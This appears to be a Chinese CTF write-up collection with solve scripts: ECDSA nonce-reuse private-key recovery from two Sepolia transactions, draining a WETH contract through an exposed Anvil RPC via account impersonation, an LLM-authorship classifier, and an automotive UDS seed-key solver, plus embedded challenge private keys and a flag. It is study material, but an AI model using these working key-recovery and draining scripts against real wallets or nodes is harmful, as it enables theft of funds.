misc
抄作业
from web3 import Web3
import requests
import time
RPC_URL = "http://80-c3734881-2565-49ac-ad8c-341b48cff4c0.challenge.ctfplus.cn/rpc"
PLAYER = "0x31BA9B7D5b2593772137979306e3faE2A367E74D"
PRIVATE_KEY = "0x6b1d7f04f79eb5caa2f67beefa542656555f0285cffc6a361f44d8e384917df7"
TARGET = "0x75537828f2ce51be7289709686A69CbFDbB714F1"
w3 = Web3(Web3.HTTPProvider(RPC_URL))
print(f"连接状态: {w3.is_connected()}")
print("=== 分析函数 0x5e36bdc6 ===")
for addr in [PLAYER, "0x0000000000000000000000000000000000000000", TARGET]:
calldata = "0x5e36bdc6" + addr[2:].zfill(64)
try:
result = w3.eth.call({
'to': TARGET,
'data': calldata
})
value = int.from_bytes(result, 'big')
print(f" {addr}: {value} ({bool(value)})")
except Exception as e:
print(f" {addr}: 失败 - {e}")
print("
=== 分析函数 0xaab2fcd2 ===")
print("尝试调用 0xaab2fcd2...")
test_cases = [
(1, 1, 2),
(2, 3, 5),
(10, 20, 30),
(100, 200, 300),
(0, 0, 0),
(1, 2, 3),
(5, 5, 10),
(1000000000000000000, 1000000000000000000, 2000000000000000000),
]
for a, b, c in test_cases:
calldata = "0xaab2fcd2" + hex(a)[2:].zfill(64) + hex(b)[2:].zfill(64) + hex(c)[2:].zfill(64)
try:
# 先尝试 view 调用
result = w3.eth.call({
'to': TARGET,
'data': calldata
})
print(f" view 调用成功: {a} + {b} = {c} -> {result.hex()}")
except Exception as e:
# view 失败可能是因为会修改状态,尝试发送交易
try:
nonce = w3.eth.get_transaction_count(PLAYER)
tx = {
'from': PLAYER,
'to': TARGET,
'data': calldata,
'nonce': nonce,
'gas': 100000,
'gasPrice': w3.eth.gas_price
}
# 估算 gas
gas = w3.eth.estimate_gas(tx)
tx['gas'] = gas
signed = w3.eth.account.sign_transaction(tx, PRIVATE_KEY)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
print(f" 交易已发送: {tx_hash.hex()} (参数: {a}, {b}, {c})")
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f" 交易状态: {'✅ 成功' if receipt.status == 1 else '❌ 失败'}")
if receipt.status == 1:
print(f"
🎉 找到正确的参数! {a} + {b} = {c}")
# 检查玩家状态是否被设置
calldata_check = "0x5e36bdc6" + PLAYER[2:].zfill(64)
result = w3.eth.call({
'to': TARGET,
'data': calldata_check
})
player_status = int.from_bytes(result, 'big')
print(f"玩家状态变为: {player_status}")
# 检查解题状态
time.sleep(2)
response = requests.post("http://80-c3734881-2565-49ac-ad8c-341b48cff4c0.challenge.ctfplus.cn/api/solve", json={})
data = response.json()
if data.get('solved'):
print(f"
🎉🎉🎉 FLAG: {data.get('flag')} 🎉🎉🎉")
break
except Exception as e:
print(f" 交易失败: {e}")
print("
=== 从字节码解读验证逻辑 ===")
print("
尝试其他运算...")
for a, b, c in [(2, 3, 6), (3, 4, 12), (5, 5, 25)]:
calldata = "0xaab2fcd2" + hex(a)[2:].zfill(64) + hex(b)[2:].zfill(64) + hex(c)[2:].zfill(64)
try:
nonce = w3.eth.get_transaction_count(PLAYER)
tx = {
'from': PLAYER,
'to': TARGET,
'data': calldata,
'nonce': nonce,
'gas': 100000,
'gasPrice': w3.eth.gas_price
}
signed = w3.eth.account.sign_transaction(tx, PRIVATE_KEY)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
print(f" 乘法测试 {a}*{b}={c}: {tx_hash.hex()}")
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
if receipt.status == 1:
print(f" ✅ 成功!")
break
else:
print(f" ❌ 失败")
except Exception as e:
print(f" 失败: {e}")
print("
尝试减法...")
for a, b, c in [(5, 3, 2), (10, 4, 6), (100, 30, 70)]:
calldata = "0xaab2fcd2" + hex(a)[2:].zfill(64) + hex(b)[2:].zfill(64) + hex(c)[2:].zfill(64)
try:
nonce = w3.eth.get_transaction_count(PLAYER)
tx = {
'from': PLAYER,
'to': TARGET,
'data': calldata,
'nonce': nonce,
'gas': 100000,
'gasPrice': w3.eth.gas_price
}
signed = w3.eth.account.sign_transaction(tx, PRIVATE_KEY)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
if receipt.status == 1:
print(f" ✅ 成功! {a}-{b}={c}")
break
except:
pass
print("
=== 尝试直接解题 ===")
calldata_solve = "0xaab2fcd2" + hex(1)[2:].zfill(64) + hex(2)[2:].zfill(64) + hex(3)[2:].zfill(64)
try:
nonce = w3.eth.get_transaction_count(PLAYER)
tx = {
'from': PLAYER,
'to': TARGET,
'data': calldata_solve,
'nonce': nonce,
'gas': 100000,
'gasPrice': w3.eth.gas_price
}
signed = w3.eth.account.sign_transaction(tx, PRIVATE_KEY)
tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"交易状态: {'成功' if receipt.status == 1 else '失败'}")
if receipt.status == 1:
# 检查玩家状态
calldata_check = "0x5e36bdc6" + PLAYER[2:].zfill(64)
result = w3.eth.call({
'to': TARGET,
'data': calldata_check
})
player_status = int.from_bytes(result, 'big')
print(f"玩家状态: {player_status}")
# 检查 flag
response = requests.post("http://80-c3734881-2565-49ac-ad8c-341b48cff4c0.challenge.ctfplus.cn/api/solve", json={})
data = response.json()
if data.get('solved'):
print(f"
🎉🎉🎉 FLAG: {data.get('flag')} 🎉🎉🎉")
else:
print("未解决,可能需要正确的参数")
except Exception as e:
print(f"交易失败: {e}")
print("
=== 等待最终结果 ===")
time.sleep(3)
response = requests.post("http://80-c3734881-2565-49ac-ad8c-341b48cff4c0.challenge.ctfplus.cn/api/solve", json={})
print(f"最终解题状态: {response.json()}"
口算私钥
1. 不能从地址「反推」随机私钥;题面「口算」暗示私钥有规律或信息泄露。
2. 在 Sepolia 上查看该地址交易:仅有 两笔转出,且两笔 ECDSA 签名的 **`r` 完全相同**。
3. 这说明两次签名 **复用了同一个随机数 `k`**(nonce reuse),属于经典实现错误,可用两条消息的哈希 `z1,z2` 与 `(r,s1),(r,s2)` 在 secp256k1 阶 `n` 下恢复私钥。
4. 链上记录的 `s` 与签名方程中使用的有效值可能对应 **`s` 或 `n-s`(可锻性)**,且不一定与「`s > n/2`」简单对应。实操应对 **`(s1, s2)` 在 `{s, n-s}` 下枚举少量组合**,用恢复出的地址是否等于题目 `owner` 来判定哪一组正确(脚本里已自动完成)。
恢复出 owner 私钥后,在题目链上对公布的 Challange 地址调用 solve(),再请求题目站的 POST /api/solve 拿 flag。
数学要点(nonce reuse)
给定 ECDSA(secp256k1)签名公式:
s≡k−1(z+rd)(modn)
若同一私钥 dd、同一随机数 kk 签署了两条不同消息,则 rr 相同,于是:
{s1≡k−1(z1+rd)(modn)s2≡k−1(z2+rd)(modn)
两式相减得:
s1−s2≡k−1(z1−z2)(modn)
整理得:
k≡(z1−z2)(s1−s2)−1(modn)
代回原式求私钥 d:
d≡r−1(s1k−z1)(modn)
其中 (s1−s2)−1和 r−1均在模 nn 下求逆元。
其中 \(z_i\) 为 该笔交易在 EIP-155 下用于签名的哈希(Legacy:`keccak256(RLP([nonce, gasPrice, gas, to, value, data, chainId, 0, 0]))`),实现上可直接使用 `eth_account` 对未签名交易做 RLP 再 `keccak`。
Sepolia 上用于恢复的两笔交易(示例)
(以题面当时数据为准,若区块浏览器排序变化以「同一 r 的两笔转出」为准。)
|
|
| 顺序 |
Tx |
| nonce 0 |
0x724331da3fb30695b44340df454cca06ddd296f86d1eb250af86a800029ff380 |
| nonce 1 |
0x1bdc4cc1939e6b045e6dd6e306ce47c72cbb216e5ae94db32b789961d6369b0b |
两笔 r 均为 0xd67a8d3fddda5bfc00366b6dd51278e14593cace8154d20136c21567456e1937。
恢复结果与「口算」感
正确处理后得到的私钥为 **16 段重复的 `0xf149`**,即高度规律、便于记忆,与题目标题「口算私钥」呼应。
from future import annotations
import json
import os
import sys
import urllib.error
import urllib.request
from typing import Any
from eth_account import Account
from eth_account._utils.legacy_transactions import serializable_unsigned_transaction_from_dict
from eth_hash.auto import keccak
from rlp.codec import encode
secp256k1 order
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
def _rpc(url: str, method: str, params: list[Any]) -> dict[str, Any]:
body = json.dumps({"jsonrpc": "2.0", "method": method, "params": params, "id": 1}).encode()
req = urllib.request.Request(
url,
data=body,
headers={
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (compatible; ctf-solve/1.0)",
},
method="POST",
)
with urllib.request.urlopen(req, timeout=60) as resp:
out = json.loads(resp.read().decode())
if "error" in out:
raise RuntimeError(out["error"])
return out["result"]
def _int_hex(x: str | int) -> int:
if isinstance(x, int):
return x
return int(x, 16)
def tx_to_unsigned_dict(tx: dict[str, Any]) -> dict[str, Any]:
inp = tx.get("input") or "0x"
data = bytes.fromhex(inp[2:]) if len(inp) > 2 else b""
return {
"nonce": _int_hex(tx["nonce"]),
"gasPrice": _int_hex(tx["gasPrice"]),
"gas": _int_hex(tx["gas"]),
"to": bytes.fromhex(tx["to"][2:]),
"value": _int_hex(tx["value"]),
"data": data,
"chainId": _int_hex(tx["chainId"]),
}
def signing_hash_legacy_eip155(tx: dict[str, Any]) -> int:
d = tx_to_unsigned_dict(tx)
ut = serializable_unsigned_transaction_from_dict(d)
return int(keccak(encode(ut)).hex(), 16)
def modinv(a: int, m: int = N) -> int:
return pow(a, -1, m)
def _recover_d_from_reuse(z1: int, z2: int, r: int, s1: int, s2: int) -> int | None:
s_diff = (s1 - s2) % N
if s_diff == 0:
return None
z_diff = (z1 - z2) % N
k = (z_diff * modinv(s_diff)) % N
if k == 0:
return None
return ((s1 * k - z1) % N * modinv(r)) % N
def recover_private_key_nonce_reuse(
tx1: dict[str, Any],
tx2: dict[str, Any],
*,
expected_address: str | None = None,
) -> bytes:
r1 = _int_hex(tx1["r"])
r2 = _int_hex(tx2["r"])
if r1 != r2:
raise ValueError("r 不同,不是典型的同 k 复用场景")
z1 = signing_hash_legacy_eip155(tx1)
z2 = signing_hash_legacy_eip155(tx2)
raw_s1 = _int_hex(tx1["s"])
raw_s2 = _int_hex(tx2["s"])
candidates: list[tuple[int, int]] = [
(raw_s1, raw_s2),
(raw_s1, N - raw_s2),
(N - raw_s1, raw_s2),
(N - raw_s1, N - raw_s2),
]
found: list[bytes] = []
for s1, s2 in candidates:
d = _recover_d_from_reuse(z1, z2, r1, s1, s2)
if d is None or d == 0:
continue
pk = d.to_bytes(32, "big")
try:
addr = Account.from_key(pk).address
except Exception:
continue
if expected_address is None or addr.lower() == expected_address.lower():
found.append(pk)
if not found:
raise ValueError("无法用 k 复用公式恢复私钥(检查交易类型/哈希是否为 EIP-155 Legacy)")
if expected_address is not None:
return found[0]
# 未指定期望地址时:若多种 (s 形式) 都产生合法私钥,优先返回第一个(调用方应传入 expected_address)
return found[0]
def fetch_flag(base_url: str) -> dict[str, Any]:
url = base_url.rstrip("/") + "/api/solve"
req = urllib.request.Request(
url,
data=b"{}",
headers={
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (compatible; ctf-solve/1.0)",
},
method="POST",
)
with urllib.request.urlopen(req, timeout=60) as resp:
return json.loads(resp.read().decode())
def send_solve_challenge(
challenge_rpc: str,
challange_addr: str,
owner_key: bytes,
) -> str:
acct = Account.from_key(owner_key)
res_nonce = _rpc(challenge_rpc, "eth_getTransactionCount", [acct.address, "latest"])
nonce = int(res_nonce, 16)
chain_id = int(_rpc(challenge_rpc, "eth_chainId", []), 16)
gas_price = int(_rpc(challenge_rpc, "eth_gasPrice", []), 16)
sel = keccak(b"solve()")[:4]
data = "0x" + sel.hex()
tx = {
"nonce": nonce,
"gasPrice": gas_price,
"gas": 100_000,
"to": challange_addr,
"value": 0,
"data": data,
"chainId": chain_id,
}
signed = acct.sign_transaction(tx)
raw = signed.raw_transaction.hex()
if not raw.startswith("0x"):
raw = "0x" + raw
return str(_rpc(challenge_rpc, "eth_sendRawTransaction", [raw]))
def main() -> int:
sepolia_rpc = os.environ.get(
"SEPOLIA_RPC",
"https://ethereum-sepolia-rpc.publicnode.com",
)
tx_a = os.environ.get(
"SEPOLIA_TX1",
"0x724331da3fb30695b44340df454cca06ddd296f86d1eb250af86a800029ff380",
)
tx_b = os.environ.get(
"SEPOLIA_TX2",
"0x1bdc4cc1939e6b045e6dd6e306ce47c72cbb216e5ae94db32b789961d6369b0b",
)
challenge_rpc = os.environ.get(
"CHALLENGE_RPC",
"http://80-84dcaea6-555c-4c0f-b837-3b0927be49d9.challenge.ctfplus.cn/rpc",
)
challenge_origin = os.environ.get(
"CHALLENGE_ORIGIN",
"http://80-84dcaea6-555c-4c0f-b837-3b0927be49d9.challenge.ctfplus.cn",
)
challange_addr = os.environ.get(
"CHALLANGE",
"0x75537828f2ce51be7289709686A69CbFDbB714F1",
)
print("[*] Sepolia: 拉取交易 …")
t1 = _rpc(sepolia_rpc, "eth_getTransactionByHash", [tx_a])
t2 = _rpc(sepolia_rpc, "eth_getTransactionByHash", [tx_b])
if not t1 or not t2:
print("[-] 无法获取交易(检查哈希或 RPC)", file=sys.stderr)
return 1
expected_owner = os.environ.get(
"EXPECTED_OWNER",
"0x1862fB125eEc7b36E0797b4F8F55Dfb099F08934",
)
pk = recover_private_key_nonce_reuse(
t1, t2, expected_address=expected_owner
)
acct = Account.from_key(pk)
print(f"[+] 恢复私钥对应地址: {acct.address}")
print(f"[+] 私钥(仅用于 CTF 环境): 0x{pk.hex()}")
print("[*] 题目链: 发送 solve() …")
try:
txh = send_solve_challenge(challenge_rpc, challange_addr, pk)
print(f"[+] solve tx: {txh}")
except urllib.error.URLError as e:
print(f"[!] 发送 solve 失败(可能已解过或 RPC/网络问题): {e}")
print("[*] 请求 /api/solve …")
try:
data = fetch_flag(challenge_origin)
except urllib.error.URLError as e:
print(f"[-] 拉取 flag 失败: {e}", file=sys.stderr)
return 1
if data.get("solved"):
print(f"[+] flag: {data.get('flag')}")
return 0
print(f"[-] 未判定为已解: {data}", file=sys.stderr)
return 2
if name == "main":
raise SystemExit(main())
WhoRU?
思路: 1. 在附件中抓取不易随重构消失的特征:报错字符串、魔法数字、GET 参数名、算法步骤、常量命名等。 2. 使用 GitHub 代码搜索(需登录)或第三方索引(如 [grep.app](https://grep.app) 的 API:`https://grep.app/api/search?q=...`)在全站检索。 3. 命中仓库后,拉取 raw 源码与附件逐段对照,确认仅为改名/拆包而非巧合相似。 第一关:`1.java` 附件特征 - 包名 com.ctf.micro.auth.plugin、类名 MicroAuthTokenManager,明显为出题人改写。
JWT 相关逻辑:AUTH_DISABLED_TOKEN = "AUTH_DISABLED"、createToken / getAuthentication、Base64 解码密钥等。 - 关键指纹:异常信息里固定出现笔误 `the length of secret key must great than or equal 32 bytes`(应为 greater)。 定位过程 在公开代码中检索上述句子或 `AUTH_DISABLED_TOKEN` 与 JWT 管理类组合,可定位到 Nacos 默认认证插件中的 `JwtTokenManager.java`(例如 `develop` 分支路径:`plugin-default-impl/nacos-default-auth-plugin/.../JwtTokenManager.java`)。 对照可见:附件删去了 Nacos 依赖与 NacosJwtParser,改用 JJWT 直写,但错误文案、AUTH_DISABLED 行为、tokenValidityInSeconds / encodedSecretKey 等与官方文件一致。 答案 alibaba_nacos 参考: [JwtTokenManager.java(alibaba/nacos)](https://github.com/alibaba/nacos/blob/develop/plugin-default-impl/nacos-default-auth-plugin/src/main/java/com/alibaba/nacos/plugin/auth/impl/token/impl/JwtTokenManager.java) 第二关:`2.cpp` 附件特征 类名 StreamStateAnalyzer,依赖 LookupTables.hpp、StreamStateAnalyzer.hpp。 - 核心为 ZIP Traditional Crypto(ZipCrypto) 已知明文攻击中的 Z-list 回溯:`recursiveZlistExploration`、`crc32inv`、由 keystream 字节枚举 `z` 低位、与 `MULT_INV`、`getFiber`(或等价 fiber 表)配合过滤 `Y` 状态等。 定位过程 StreamStateAnalyzer 等符号在索引中可能搜不到(已改名)。改搜算法结构:与经典实现 bkcrack 的 `Attack::exploreZlists` 逐行对应: 附件 | bkcrack Attack.cpp | trigger / recursiveZlistExploration | carryout / exploreZlists | m_start_idx = offset + 1 - CONTIGUOUS_BLOCK_SIZE | index{index + 1 - Attack::contiguousSize} | LookupTables::getInvCrc32 | Crc32Tab::getZim1_10_32 | getZLowCandidates | KeystreamTab::getZi_2_16_vector | calcYHigh | Crc32Tab::getYi_24_32 | getFiber / MAX_DIFF_24 | MultTab::getMsbProdFiber3 / maxdiff<24> |
可确认附件为 kimci86/bkcrack 中攻击逻辑的 CTF 改写版。 答案 kimci86_bkcrack 参考: [Attack.cpp(kimci86/bkcrack)](https://github.com/kimci86/bkcrack/blob/master/src/bkcrack/Attack.cpp) 第三关:`3.py` 附件特征 Django 视图:区块链记账、Merkle 根、SHA3-256 工作量证明、aadhar_no 登录等。 - 强特征字符串:GET 参数名 `createPoliticianParties`(拼写少见,与 `createRandomVoters`、`castRandomVote` 一起出现在「生成假数据」逻辑中)。 定位过程 对 `createPoliticianParties` 做全站代码检索,可唯一指向 akverma26/voting-system-using-block-chain 的 `home/views.py` 与对应模板。 对照原项目: models → 题目中的 db_schemas(模型类改名) methods_module → security_helpers(函数改名) merkle_tool.MerkleTools → hash_generator.MerkleGraph ts_data → backend_metrics 业务路径与模板名(如 candidate_details.html、create-dummy-data.html)仍一致。 答案 akverma26_voting-system-using-block-chain 参考: [voting-system-using-block-chain(akverma26)](https://github.com/akverma26/voting-system-using-block-chain) |

flag:xmctf{ce678e59-8a2e-4946-9e1e-aef2ab985a85}
Wrapped Ether
RPC 为 Anvil(`client: anvil/v1.5.1`,`chainId: 31337`),且 JSON-RPC 对公网开放时仍允许测试用接口,例如:
anvil_impersonateAccount(address)
anvil_setBalance(address, balance)(按需给 impersonate 账户留 gas)
这相当于把「本地测试链上帝模式」暴露到了公网,**可伪造任意 `from` 发交易**。
利用链
1. **冒充 `Setup` 合约地址**,对 WETH 调用
approve(player, type(uint256).max)。
- 正常链上 Setup 没有对外暴露 `approve` 的脚本,且玩家无法控制 Setup 私钥;这里靠 impersonate 完成。
玩家调用
transferFrom(Setup, player, balanceOf(Setup)),
把 Setup 的 10 ETH 账面 划到玩家。
3. 玩家作为 challenger 调用
withdraw(10 ether)(或等价数额),
将 WETH 内 全部原生 ETH 转给玩家,`address(weth).balance == 0`。
4. 题目页 「Check Solution」 对应 `POST /api/solve`,返回 flag。
---
关键信息(本实例)
|
|
| 项 |
值 |
| RPC |
http://<实例域名>/rpc |
| WETH |
0xCafac3dD18aC6c6e92c921884f9E4176737C052c |
| Setup |
由部署交易回执得到(本环境为 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512) |
| 玩家 |
题目给出的 Address / Private Key |
Setup 地址可在区块浏览器式排查中定位:找 创建 WETH 的合约创建交易 的 `contractAddress`,或根据日志中 `Deposit` 的 `to` 推断。
---
Exploit 步骤小结
1. eth_call 读 balanceOf(Setup) 与 WETH 余额,确认目标数额。
2. anvil_impersonateAccount(Setup)
3. eth_sendTransaction { from: Setup, to: WETH, data: approve(player, MAX) }
4. 玩家签名发送 transferFrom(Setup, player, amt)
5. 玩家签名发送 withdraw(amt)
6. POST /api/solve → flag
#!/usr/bin/env python3
import json
import requests
from eth_abi import encode
from web3 import Web3
RPC = "http://80-7f62f8c0-b39b-4da1-a2bb-a0b65baab222.challenge.ctfplus.cn/rpc"
WETH = Web3.to_checksum_address("0xCafac3dD18aC6c6e92c921884f9E4176737C052c")
SETUP = Web3.to_checksum_address("0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512")
PLAYER_PK = "0x46e72a05b5571115a05144dd1093994b88eee07da1b42696289d24707821e0f"
w3 = Web3(Web3.HTTPProvider(RPC, request_kwargs={"timeout": 120}))
acct = w3.eth.account.from_key(PLAYER_PK)
PLAYER = acct.address
ABI = [
{"inputs": [{"name": "from", "type": "address"}, {"name": "to", "type": "address"}, {"name": "amount", "type": "uint256"}], "name": "transferFrom", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
{"inputs": [{"name": "amount", "type": "uint256"}], "name": "withdraw", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
{"inputs": [{"name": "a", "type": "address"}], "name": "balanceOf", "outputs": [{"type": "uint256"}], "stateMutability": "view", "type": "function"},
]
SETUP_ABI = [{"inputs": [], "name": "isSolved", "outputs": [{"type": "bool"}], "stateMutability": "view", "type": "function"}]
def jrpc(method: str, params: list) -> dict:
r = requests.post(RPC, json={"jsonrpc": "2.0", "id": 1, "method": method, "params": params}, timeout=120)
r.raise_for_status()
out = r.json()
if "error" in out:
raise RuntimeError(out["error"])
return out["result"]
def main():
w = w3.eth.contract(address=WETH, abi=ABI)
setup_c = w3.eth.contract(address=SETUP, abi=SETUP_ABI)
amt = w.functions.balanceOf(SETUP).call()
print("WETH native (wei):", w3.eth.get_balance(WETH))
print("balanceOf[setup]:", amt)
print("isSolved (before):", setup_c.functions.isSolved().call())
# 1) Impersonate Setup and approve player (misconfigured public anvil RPC)
jrpc("anvil_impersonateAccount", [SETUP])
sel = Web3.keccak(text="approve(address,uint256)")[:4]
data = "0x" + sel.hex() + encode(["address", "uint256"], [PLAYER, 2**256 - 1]).hex()
tx_hash = jrpc(
"eth_sendTransaction",
[
{
"from": SETUP,
"to": WETH,
"data": data,
"gas": hex(500_000),
}
],
)
print("approve tx:", tx_hash)
rcpt = w3.eth.wait_for_transaction_receipt(tx_hash)
print("approve status:", rcpt.status)
# 2) Player: transferFrom then withdraw
c = w3.eth.contract(address=WETH, abi=ABI)
chain_id = w3.eth.chain_id
nonce = w3.eth.get_transaction_count(PLAYER)
gp = w3.eth.gas_price
def fill_and_sign(tx_dict, n):
tx_dict["chainId"] = chain_id
tx_dict["nonce"] = n
tx_dict["gas"] = 500_000
if "maxFeePerGas" not in tx_dict and "gasPrice" not in tx_dict:
tx_dict["gasPrice"] = int(gp * 2) or 10**9
return w3.eth.account.sign_transaction(tx_dict, PLAYER_PK)
t0 = c.functions.transferFrom(SETUP, PLAYER, amt).build_transaction({"from": PLAYER})
st0 = fill_and_sign(t0, nonce)
h0 = w3.eth.send_raw_transaction(st0.raw_transaction)
w3.eth.wait_for_transaction_receipt(h0)
print("transferFrom ok:", h0.hex())
t1 = c.functions.withdraw(amt).build_transaction({"from": PLAYER})
st1 = fill_and_sign(t1, nonce + 1)
h1 = w3.eth.send_raw_transaction(st1.raw_transaction)
w3.eth.wait_for_transaction_receipt(h1)
print("withdraw ok:", h1.hex())
print("WETH native (wei):", w3.eth.get_balance(WETH))
print("isSolved (after):", setup_c.functions.isSolved().call())
base = "http://80-7f62f8c0-b39b-4da1-a2bb-a0b65baab222.challenge.ctfplus.cn"
r = requests.post(f"{base}/api/solve", json={}, timeout=60)
print("solve API:", r.status_code, r.text)
if name == "main":
main()
ModelMark
Proof of Work
连接后服务端给出:
sha256(<salt> + x) 的十六进制以若干位 0 开头
对 x = 0, 1, 2, … 暴力枚举即可。难度较低时毫秒级到秒级可出解。
2. 观察数据与强特征
对 dataset_train.json 统计可得:
- DeepSeek-R1:回答里几乎总带 **`</think>`**(思维链结束标记),与其它三类几乎不重叠。
- Hunyuan:在没有 `</think>` 时,出现 **`很抱歉`** 的比例明显偏高(需先排除 DeepSeek,避免极少数 DeepSeek 样本同时含「很抱歉」被误判)。
据此可先写两条高置信规则,再对其余样本用分类器。
3. 文本分类(Qwen / GLM / 剩余情况)
仅用英文分词习惯的 word n-gram TF-IDF 对中文区分度一般(交叉验证约六成多),8 连对概率过低。
改用 字符 n-gram(如 2–5)提取特征,配合 线性 SVM(`LinearSVC`),在同一数据集上三折交叉验证可达约 九成 量级,足以实战稳定过关。
4. 精确匹配
若某轮 `question` + `answer` 与训练集完全一致,可直接查表得 `model`。数据中存在极个别 `(question, answer)` 对应两个模型的情况,需对候选列表做歧义处理(例如再交给分类器在候选内选)。
5. 协议与编码
-通信内容为 UTF-8,解析时用 `decode('utf-8')`。
每轮格式大致为:Question: / Answer: / Which model? / >,用正则取出问答正文后在超时前发送 1–4 与换行。
#!/usr/bin/env python3
"""ModelMark CTF: PoW + 连续 8 次模型归属判定。"""
import hashlib
import json
import os
import re
import socket
import time
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.pipeline import Pipeline
from sklearn.svm import LinearSVC
MODELS = [
"Qwen/Qwen3-8B",
"deepseek-ai/DeepSeek-R1-Distill-Qwen-7B",
"THUDM/GLM-4.1V-9B-Thinking",
"tencent/Hunyuan-MT-7B",
]
MODEL_TO_IDX = {m: i + 1 for i, m in enumerate(MODELS)}
def solve_pow(salt: str, difficulty: int) -> str:
prefix = "0" * difficulty
n = 0
while True:
x = str(n)
if hashlib.sha256((salt + x).encode()).hexdigest().startswith(prefix):
return x
n += 1
def build_lookup(data):
d = {}
for o in data:
k = (o["question"].strip(), o["answer"].strip())
if k not in d:
d[k] = []
d[k].append(o["model"])
return d
def train_classifier(data):
texts = [o["question"].strip() + "
" + o["answer"].strip() for o in data]
y = [o["model"] for o in data]
clf = Pipeline(
[
(
"tfidf",
TfidfVectorizer(
analyzer="char",
ngram_range=(2, 5),
max_features=120000,
min_df=2,
sublinear_tf=True,
),
),
("svc", LinearSVC(C=0.35, max_iter=6000, dual=False, random_state=0)),
]
)
clf.fit(texts, y)
return clf
def predict_model(lookup, clf, question: str, answer: str) -> int:
q, a = question.strip(), answer.strip()
key = (q, a)
if key in lookup:
cands = lookup[key]
if len(cands) == 1:
return MODEL_TO_IDX[cands[0]]
m = clf.predict([q + "
" + a])[0]
if m in cands:
return MODEL_TO_IDX[m]
return MODEL_TO_IDX[cands[0]]
if "</think>" in a:
return MODEL_TO_IDX["deepseek-ai/DeepSeek-R1-Distill-Qwen-7B"]
if "很抱歉" in a:
return MODEL_TO_IDX["tencent/Hunyuan-MT-7B"]
m = clf.predict([q + "
" + a])[0]
return MODEL_TO_IDX[m]
def recv_idle(s: socket.socket, hint: bytes = b"", idle=0.25, max_wait=15.0) -> bytes:
buf = bytearray(hint)
deadline = time.time() + max_wait
s.settimeout(idle)
while time.time() < deadline:
try:
c = s.recv(262144)
if not c:
break
buf.extend(c)
except (TimeoutError, socket.timeout):
break
return bytes(buf)
def parse_qa(text: str):
m = re.search(
r"Question:\s*\r?
(.+?)\r?
\r?
Answer:\s*\r?
(.+?)\r?
\r?
Which model\?",
text,
re.DOTALL,
)
if not m:
return None, None
return m.group(1).strip(), m.group(2).strip()
def main():
base = os.path.dirname(os.path.abspath(file))
with open(os.path.join(base, "dataset_train.json"), encoding="utf-8") as f:
data = json.load(f)
lookup = build_lookup(data)
print("Training char n-gram LinearSVC...")
clf = train_classifier(data)
print("Ready.")
s = socket.create_connection(("nc1.ctfplus.cn", 42396), timeout=30)
buf = b""
s.settimeout(5)
while b"x =" not in buf:
buf += s.recv(8192)
t0 = buf.decode("utf-8", errors="replace")
m = re.search(r"sha256**\(([^)]+)\s*\+\s*x\)**", t0)
salt = m.group(1).strip()
dm = re.search(r"starts with (0+)", t0)
diff = len(dm.group(1)) if dm else 4
sol = solve_pow(salt, diff)
print("PoW:", sol)
s.sendall((sol + "
").encode())
tail = buf.split(b"x =", 1)[-1] if b"x =" in buf else b""
buf = recv_idle(s, hint=tail, idle=0.28, max_wait=18.0)
round_i = 0
while round_i < 25:
text = buf.decode("utf-8", errors="replace")
low = text.lower()
if "flag" in low or "ctf{" in text or "flag{" in text:
print(text)
break
if "wrong" in low or "incorrect" in low:
print("失败片段:
", text[-1200:])
q, a = parse_qa(text)
if q is None:
buf = recv_idle(s, idle=0.28, max_wait=10.0)
text = text + buf.decode("utf-8", errors="replace")
q, a = parse_qa(text)
if q is None:
print("无法解析:
", text[-1800:])
break
choice = predict_model(lookup, clf, q, a)
print(f"Round {round_i + 1}: choice {choice}")
s.sendall((str(choice) + "
").encode())
round_i += 1
buf = recv_idle(s, idle=0.32, max_wait=18.0)
s.close()
if name == "main":
main()
re
ez_uds
题目描述
题目提供了一个 ECU UDS Security Server,并提示支持的服务:
0x27 SecurityAccess
使用方法:
27 01 -> Request Seed
27 02 <4byteskey> -> Send Key
示例:
27 01
27 02 12 34 56 78
题目同时给出了 Key 计算算法:
def generate_seed():
return random.randint(0, 0xFFFFFFFF)
def calculate_key(seed):
key = seed ^ 0xA5A5A5A5
key = ((key << 3) | (key >> 29)) & 0xFFFFFFFF
key = (key + 0x12345678) & 0xFFFFFFFF
return key
key的计算就是先异或,再左移3bit,加上常数,得到一个32bit key,
构造脚本发送2701,解析返回的seed,按算法算key,再发送2702+key得到flag
from pwn import *
import re
r = remote('nc1.ctfplus.cn', 46662)
def calculate_key(seed):
key = seed ^ 0xA5A5A5A5
key = ((key << 3) | (key >> 29)) & 0xFFFFFFFF
key = (key + 0x12345678) & 0xFFFFFFFF
return key
# 接收 banner
print(r.recvuntil(b"Input HEX").decode())
# 请求 seed
print("[+] Requesting Seed")
r.sendline(b"2701")
#读取服务器返回
resp = r.recvline().decode()
print("[+] Raw Response:", resp)
#提取 hex
hex_data = re.findall(r"[0-9A-Fa-f]{2}", resp)
#seed 在最后4字节
seed_bytes = hex_data[-4:]
seed_hex = "".join(seed_bytes)
seed = int(seed_hex, 16)
print(f"[+] Seed: {seed_hex} (0x{seed:08x})")
#计算 key
key = calculate_key(seed)
key_hex = f"{key:08x}"
print(f"[+] Key: {key_hex}")
# 发送 key
payload = f"2702{key_hex}"
print("[+] Sending:", payload)
r.sendline(payload.encode())
# 获取 flag
print(r.recvall(timeout=3).decode())

Illusion
1. 题目概览
程序提示输入 flag,存在多条逻辑链:
